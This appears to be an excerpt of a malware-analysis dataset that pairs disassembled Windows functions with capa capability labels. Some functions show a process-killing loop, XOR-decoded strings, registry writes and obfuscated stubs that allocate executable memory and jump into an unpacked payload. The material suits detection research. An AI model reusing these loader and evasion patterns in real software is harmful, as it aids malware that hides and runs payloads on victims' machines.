joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4015e0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x144
mov eax, dword [0x426070]
xor eax, esp
mov dword [esp + 0x140], eax
fldz
xor eax, eax
push ebx
mov word [esp + 4], ax
mov dword [esp + 0xc], eax
fst qword [esp + 0x14]
push ebp
fstp qword [esp + 0x10]
push 0x104
mov dword [esp + 0x10], eax
call fcn.0040b7a8
movzx ecx, word [esp + 0xc]
add esp, 4
push 0
sub ecx, 0x1602370a
push 2
mov ebp, eax
mov word [esp + 0x10], cx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
test ebx, ebx
je 0x401787
lea edx, [esp + 0x20]
push edx
push ebx
mov dword [esp + 0x28], 0x128
call sub.KERNEL32.dll_Process32First
mov dword [0x42316c], 0xa5e8ecc3
test eax, eax
je 0x401776
push edi
mov edi, ebp
lea eax, [esp + 0x48]
sub edi, eax
push esi
lea eax, [esp + 0x4c]
mov cl, byte [eax]
mov byte [edi + eax], cl
inc eax
test cl, cl
jne 0x401674
push ebp
call fcn.0041e883
mov ecx, dword [esp + 0x15c]
add esp, 4
mov eax, ebp
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4016b0
test dl, dl
je 0x4016ac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4016b0
add eax, 2
add ecx, 2
test dl, dl
jne 0x401690
xor eax, eax
jmp 0x4016b5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40172b
cmp dword [esp + 0x15c], eax
je 0x401762
mov ecx, dword [esp + 0x30]
push ecx
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40172b
inc dword [esp + 0x14]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dx, word [0x425370]
movsx eax, dx
mov dword [esp + 0x18], eax
fild dword [esp + 0x18]
fadd qword [0x424e80]
mov cx, word [0x424fac]
movsx edx, cx
mov dword [esp + 0x18], edx
fsub qword [0x41f3b8]
fild dword [esp + 0x18]
fmulp st(1)
call fcn.0040b620
mov word [0x424fac], ax
lea eax, [esp + 0x28]
push eax
push ebx
mov dword [esp + 0x30], 0x128
call sub.KERNEL32.dll_Process32Next
mov cx, word [esp + 0x10]
movsx edx, cx
add edx, 0x2a451c1d
mov dword [esp + 0x18], edx
fild dword [esp + 0x18]
fstp qword [esp + 0x18]
test eax, eax
jne 0x401670
jmp 0x401774
fld qword [esp + 0x20]
inc dword [esp + 0x14]
fmul qword [0x41f3b0]
fstp qword [esp + 0x20]
pop esi
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
fld qword [0x41f3a8]
fstp qword [esp + 0x18]
push ebp
call fcn.0040b6cb
mov ecx, dword [esp + 0x14c]
mov eax, dword [esp + 0x10]
add esp, 4
pop ebp
pop ebx
xor ecx, esp
call fcn.0040b872
add esp, 0x144
ret
Function at 0x401aa0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x5c
fldz
xor eax, eax
fstp dword [esp + 4]
xor ecx, ecx
mov dword [esp], eax
mov word [esp], cx
fld dword [esp + 4]
fadd qword [0x41f3f0]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0x44
xor edx, edx
fstp qword [0x4254b8]
mov ecx, 1
fld dword [esp + 4]
mov word [esp + 0x4a], dx
fadd qword [0x41f348]
lea edx, [esp + 8]
push edx
mov edx, dword [esp + 0x68]
mov word [esp + 0x4c], cx
fstp dword [esp + 8]
lea ecx, [esp + 0x1c]
push ecx
push eax
push eax
push 8
push eax
push eax
push eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x80]
push edx
push eax
mov dword [esp + 0x6c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
fld qword [0x4231f8]
fld dword [0x4241b8]
fsub qword [0x41f3e8]
fsub qword [0x41f3e0]
fsubp st(1)
fstp qword [0x4231f8]
add esp, 0x5c
ret

Function at 0x402470
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
fldz
push ebx
push esi
fstp qword [esp + 0xc]
push edi
mov edi, dword [esp + 0x20]
xor eax, eax
mov dword [esp + 0xc], 0
mov word [esp + 0xc], ax
push edi
call fcn.0040b7a8
mov ebx, dword [esp + 0x20]
push edi
mov esi, eax
push ebx
push esi
call fcn.0040b910
fld qword [esp + 0x20]
mov ecx, dword [0x427884]
fsub qword [0x41f4c8]
add ecx, ebx
add edi, esi
add esp, 0x10
fstp qword [esp + 0x10]
sub ecx, 0x423038
mov eax, esi
cmp esi, edi
je 0x4024dc
lea ebx, [ebx]
mov dl, byte [ecx]
xor byte [eax], dl
inc eax
inc ecx
cmp eax, edi
jne 0x4024d0
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0xc
ret

Function at 0x4034c0
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
fldz
push ebx
push esi
push edi
mov dword [esp + 0x10], 0
fst dword [esp + 0xc]
push 3
fstp dword [esp + 0x14]
push 0x425044
call fcn.00402470
fld qword [0x424218]
fsubr qword [0x41f570]
mov edi, eax
call fcn.0040b620
mov ebx, dword [esp + 0x20]
push edi
push ebx
mov dword [esp + 0x20], eax
call fcn.0040c146
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x403575
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [esp + 0xc]
fadd qword [0x41f348]
fstp dword [esp + 0xc]
fld dword [esp + 0xc]
mov ax, word [0x423114]
mov dx, word [0x425984]
movsx ecx, ax
mov dword [esp + 0x10], ecx
movsx eax, dx
fild dword [esp + 0x10]
mov dword [esp + 0x10], eax
fsubp st(1)
fild dword [esp + 0x10]
faddp st(1)
call fcn.0040b620
push edi
mov word [0x425984], ax
dec word [0x423114]
push ebx
call fcn.0040c146
mov esi, eax
add esp, 8
test esi, esi
je 0x40358d
push esi
push 1
lea ecx, [esp + 0x24]
push 4
push ecx
call fcn.0040c5a7
push esi
call fcn.0040bcec
add esp, 0x14
push edi
push 3
call fcn.004017b0
add esp, 8
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x403840
Capabilities:
Set registry value

Disassembly:
sub esp, 0x14
fldz
push ebp
mov dword [esp + 4], 0
push 0x2e
mov dword [esp + 0x10], 0
fstp qword [esp + 0x14]
push 0x424e94
call fcn.00402470
fld dword [0x425948]
fsub dword [0x424258]
add esp, 8
mov ebp, eax
lea eax, [esp + 8]
push eax
fstp dword [0x425948]
push ebp
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4038d8
push esi
push edi
push 0x34
push 0x4230b0
call fcn.00402470
mov edx, dword [esp + 0x2c]
mov esi, eax
mov eax, edx
add esp, 8
lea edi, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4038b0
mov ecx, dword [esp + 0x10]
sub eax, edi
push eax
push edx
push 1
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push esi
push 0x34
call fcn.004017b0
add esp, 8
pop edi
pop esi
mov dx, word [0x425f04]
movsx eax, dx
mov ecx, 0x8f0628e5
sub ecx, eax
mov dword [esp + 0xc], ecx
push ebp
push 0x2e
fild dword [esp + 0x14]
fstp qword [0x425a18]
call fcn.004017b0
mov edx, dword [esp + 0xc]
mov ax, word [0x423238]
movsx ecx, ax
add esp, 8
sub edx, 0x10b3aa10
pop ebp
cmp edx, ecx
je 0x40392c
fld qword [esp + 0xc]
fsub qword [0x41f588]
call fcn.0040b620
mov dword [esp], eax
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 0x14
ret
Function at 0x40b872
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x426070]
jne 0x40b87c
repz ret
jmp fcn.0040fc07

Function at 0x416c74
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00411b87
and dword [ebp - 4], 0
cmp dword [0x4282f4], 0
mov ebx, eax
jne 0x416d25
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x416dd6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x420b20
push edi
call esi
test eax, eax
je 0x416dd6
push eax
call fcn.00411b15
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4282f4], eax
call esi
push eax
call fcn.00411b15
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4282f8], eax
call esi
push eax
call fcn.00411b15
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4282fc], eax
call esi
push eax
call fcn.00411b15
pop ecx
mov dword [0x428304], eax
test eax, eax
je 0x416d25
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00411b15
pop ecx
mov dword [0x428300], eax
mov eax, dword [0x428300]
cmp eax, ebx
je 0x416d7d
cmp dword [0x428304], ebx
je 0x416d7d
push eax
call fcn.00411b90
push dword [0x428304]
mov esi, eax
call fcn.00411b90
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x416d7d
test edi, edi
je 0x416d7d
call esi
test eax, eax
je 0x416d74
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x416d74
test byte [ebp - 0xc], 1
jne 0x416d7d
or dword [ebp + 0x10], 0x200000
jmp 0x416db6
mov eax, dword [0x4282f8]
cmp eax, ebx
je 0x416db6
push eax
call fcn.00411b90
pop ecx
test eax, eax
je 0x416db6
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x416db6
mov eax, dword [0x4282fc]
cmp eax, ebx
je 0x416db6
push eax
call fcn.00411b90
pop ecx
test eax, eax
je 0x416db6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4282f4]
call fcn.00411b90
pop ecx
test eax, eax
je 0x416dd6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x416dd8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404bef
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40db60]
jne 0x404bf9
repz ret
jmp fcn.0040883b

Function at 0x4060f3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004029c4
and dword [ebp - 4], 0
cmp dword [0x40e54c], 0
mov ebx, eax
jne 0x4061a4
push 0x40aa20
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406255
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40aa14
push edi
call esi
test eax, eax
je 0x406255
push eax
call fcn.00402952
mov dword [esp], 0x40aa04
push edi
mov dword [0x40e54c], eax
call esi
push eax
call fcn.00402952
mov dword [esp], 0x40a9f0
push edi
mov dword [0x40e550], eax
call esi
push eax
call fcn.00402952
mov dword [esp], 0x40a9d4
push edi
mov dword [0x40e554], eax
call esi
push eax
call fcn.00402952
pop ecx
mov dword [0x40e55c], eax
test eax, eax
je 0x4061a4
push 0x40a9bc
push edi
call esi
push eax
call fcn.00402952
pop ecx
mov dword [0x40e558], eax
mov eax, dword [0x40e558]
cmp eax, ebx
je 0x4061fc
cmp dword [0x40e55c], ebx
je 0x4061fc
push eax
call fcn.004029cd
push dword [0x40e55c]
mov esi, eax
call fcn.004029cd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4061fc
test edi, edi
je 0x4061fc
call esi
test eax, eax
je 0x4061f3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4061f3
test byte [ebp - 0xc], 1
jne 0x4061fc
or dword [ebp + 0x10], 0x200000
jmp 0x406235
mov eax, dword [0x40e550]
cmp eax, ebx
je 0x406235
push eax
call fcn.004029cd
pop ecx
test eax, eax
je 0x406235
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406235
mov eax, dword [0x40e554]
cmp eax, ebx
je 0x406235
push eax
call fcn.004029cd
pop ecx
test eax, eax
je 0x406235
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40e54c]
call fcn.004029cd
pop ecx
test eax, eax
je 0x406255
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406257
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x40bdb9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40bdc8
pop dword [ebp - 0x44]
mov eax, 0x40bdc8
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xdce05751
add dword [ebp - 0x54], 0x7171edfa
mov dword [ebp - 0x50], 0xb5fab56b
sub dword [ebp - 0x50], 0x83c76926
mov dword [ebp - 0x4c], 0xdc9273f1
sub dword [ebp - 0x4c], 0x90462fc3
mov dword [ebp - 0x48], 0xd654dff
sub dword [ebp - 0x48], 0xd654dff
lea eax, [ebp - 0x54]
push eax
mov eax, 0x665ac304
add eax, 0x99e60d50
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x45ab88a9
add dword [ebp - 0x54], 0x2ec6e0ad
mov dword [ebp - 0x50], 0x47cbdb4f
sub dword [ebp - 0x50], 0x65f79da
mov dword [ebp - 0x4c], 0x8d5e84e0
sub dword [ebp - 0x4c], 0x29ef1874
mov dword [ebp - 0x48], 0xa083f778
sub dword [ebp - 0x48], 0xa083f778
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3793a
push 0
call eax
mov ecx, 0xea3a3733
add ecx, 0x15c60907
xor edx, edx
add edx, eax
mov ebx, 0x41b000
add ebx, dword [ebp - 0x44]
mov esi, 0x16991e9e
add dword [ebp - 8], esi
mov edi, dword [ebx]
add edi, esi
sub dword [ebp - 0x3c], 0x54eed1f6
mov dword [edx], edi
xor dword [ebp - 0x3c], 0x5c8fd68
add edx, 0x70eb9e61
add edx, 0x8f1461a3
add ebx, 0x5ddaad05
sub ebx, 0x5ddaad01
loop 0x40bed6
add eax, 0xf3bb
xor ebx, ebx
add ebx, eax
add eax, 0xc95a526e
add eax, 0x36a5ad97
mov ecx, 0x463302b2
sub ecx, 0x45f302b2
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x42211b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42215a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42215a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42215a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42215a
cmp dword [ecx + 0x74], 0xe
jbe 0x42215a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4347a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4347cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4347cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x7e12a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2b3000]
push edi
or ebp, 0xffffffff
jmp 0x7e12c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x7e12c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7e12b8
mov eax, 1
add ebx, ebx
jne 0x7e12db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x7e12ec
jne 0x7e12fc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7e12fc
dec eax
add ebx, ebx
jne 0x7e12f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x7e12d0
xor ecx, ecx
sub eax, 3
jb 0x7e1314
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x7e1386
sar eax, 1
mov ebp, eax
jmp 0x7e131f
add ebx, ebx
jne 0x7e131f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x7e132c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x7e1350
inc ecx
add ebx, ebx
jne 0x7e133c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x7e1331
jne 0x7e134d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x7e1331
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x7e1370
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x7e1361
jmp 0x7e12be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x7e1370
add edi, ecx
jmp 0x7e12be
pop esi
mov edi, esi
mov ecx, 0x1a03
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x7e138e
cmp byte [edi], 0xe
jne 0x7e138e
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x7e1393
lea edi, [esi + 0x3de000]
mov eax, dword [edi]
or eax, eax
je 0x7e140b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3e5fe8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3e60b0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x7e13c0
mov ecx, edi
jns 0x7e13ef
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3e60b4]
or eax, eax
je 0x7e1405
mov dword [ebx], eax
add ebx, 4
jmp 0x7e13dd
call dword [esi + 0x3e60b8]
popal
jmp 0x424f7f
Function at 0x10005a45
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10004828]
jne 0x10005e2f
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x10007ad0], eax
mov dword [0x10007acc], ecx
mov dword [0x10007ac8], edx
mov dword [0x10007ac4], ebx
mov dword [0x10007ac0], esi
mov dword [0x10007abc], edi
mov word [0x10007ae8], ss
mov word [0x10007adc], cs
mov word [0x10007ab8], ds
mov word [0x10007ab4], es
mov word [0x10007ab0], fs
mov word [0x10007aac], gs
pushfd
pop dword [0x10007ae0]
mov eax, dword [ebp]
mov dword [0x10007ad4], eax
mov eax, dword [ebp + 4]
mov dword [0x10007ad8], eax
lea eax, [ebp + 8]
mov dword [0x10007ae4], eax
mov eax, dword [ebp - 0x320]
mov dword [0x10007a20], 0x10001
mov eax, dword [0x10007ad8]
mov dword [0x100079d4], eax
mov dword [0x100079c8], 0xc0000409
mov dword [0x100079cc], 1
mov eax, dword [0x10004828]
mov dword [ebp - 0x328], eax
mov eax, dword [0x1000717c]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x10007a18], eax
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x10004838
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x10007a18], 0
jne 0x10005f1b
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x10005aa0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10005aaf
pop dword [ebp - 0xc]
mov eax, 0x10005aaf
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x31af66de
sub dword [ebp - 0x1c], 0xe35d2193
mov dword [ebp - 0x18], 0x40754be3
add dword [ebp - 0x18], 0xf1be0062
mov dword [ebp - 0x14], 0xce8a4b62
add dword [ebp - 0x14], 0x7dc1f8cc
mov dword [ebp - 0x10], 0xa3b082d4
add dword [ebp - 0x10], 0x5c4f7d2c
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x76c3c2f8
sub eax, 0x66c3b278
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xc2671956
add dword [ebp - 0x1c], 0xb20b5000
mov dword [ebp - 0x18], 0x15958a6d
add dword [ebp - 0x18], 0x2bd6d708
mov dword [ebp - 0x14], 0x683c278b
add dword [ebp - 0x14], 0xfb3344e1
mov dword [ebp - 0x10], 0x97ebac8f
add dword [ebp - 0x10], 0x68145371
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xdbb6b579
add eax, 0x34495b3f
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3709b
push 0
call eax
mov ecx, 0x9e8e7e22
add ecx, 0x6171cb52
xor edi, edi
add edi, eax
mov ebx, 0xa97bb3d6
sub ebx, 0x997b1fd6
add ebx, dword [ebp - 0xc]
mov esi, 0xd065c3e1
add dword [ebp - 8], 0xd6b438f4
mov edx, dword [ebx]
sub dword [ebp - 4], 0x165eb6ae
add edx, esi
add dword [ebp - 8], 0x2701ab45
mov dword [edi], edx
xor dword [ebp - 8], esi
add edi, 4
add ebx, 0x2906f9c3
sub ebx, 0x2906f9bf
loop 0x10005bc8
add eax, 0x36680749
add eax, 0xc999115a
mov ebx, eax
add eax, 0x5307ae9c
add eax, 0xacf85169
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x4020d0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x435662
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x443cfc]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov edi, dword [esp + 0x28]
xor ebx, ebx
mov dword [esp + 0x14], ebx
mov dword [edi], 0x43b868
mov dword [edi + 0x58], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
lea esi, [edi + 8]
push esi
mov dword [esp + 0x24], ebx
push edi
mov dword [esp + 0x1c], 1
call fcn.00403270
mov dword [esp + 0x20], 1
mov eax, dword [edi]
mov ecx, dword [eax + 4]
push esi
mov dword [edi + ecx], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
call fcn.00404120
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x48], bl
mov byte [esi + 0x41], bl
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ebx
mov eax, dword [esi + 0x24]
mov dword [eax], ebx
mov ecx, dword [esi + 0x34]
mov dword [ecx], ebx
mov edx, dword [esi + 0x10]
mov dword [edx], ebx
mov eax, dword [esi + 0x20]
mov edx, dword [0x448024]
mov dword [eax], ebx
mov ecx, dword [esi + 0x30]
mov dword [ecx], ebx
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x44], edx
mov dword [esi + 0x3c], ebx
mov eax, dword [esp + 0x2c]
push eax
mov byte [esp + 0x24], 2
call fcn.004036a0
test eax, eax
jne 0x4021d1
mov ecx, dword [edi]
mov ecx, dword [ecx + 4]
mov eax, dword [ecx + edi + 8]
add ecx, edi
or eax, 2
cmp dword [ecx + 0x28], ebx
jne 0x4021c0
or eax, 4
and eax, 0x17
mov dword [ecx + 8], eax
test dword [ecx + 0xc], eax
je 0x4021d1
push ebx
call fcn.004070d0
mov eax, edi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x14
ret 8
Function at 0x404120
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x434bdb
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x443cfc]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, dword [esp + 0x24]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0043287f
push 4
mov dword [esp + 0x20], 0
call fcn.0040f0e0
mov edi, eax
add esp, 4
test edi, edi
je 0x40419e
call fcn.00432be9
mov dword [edi], eax
call fcn.00432a17
push 0
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.00432840
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x404193
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0x10]
call fcn.00432868
jmp 0x4041a0
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4

Function at 0x4074a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4074b9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4074f4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x4074f0
lea ebx, [ebx]
cmp esi, eax
jae 0x4074f4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4074e0
cmp esi, eax
jb 0x4074fa
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret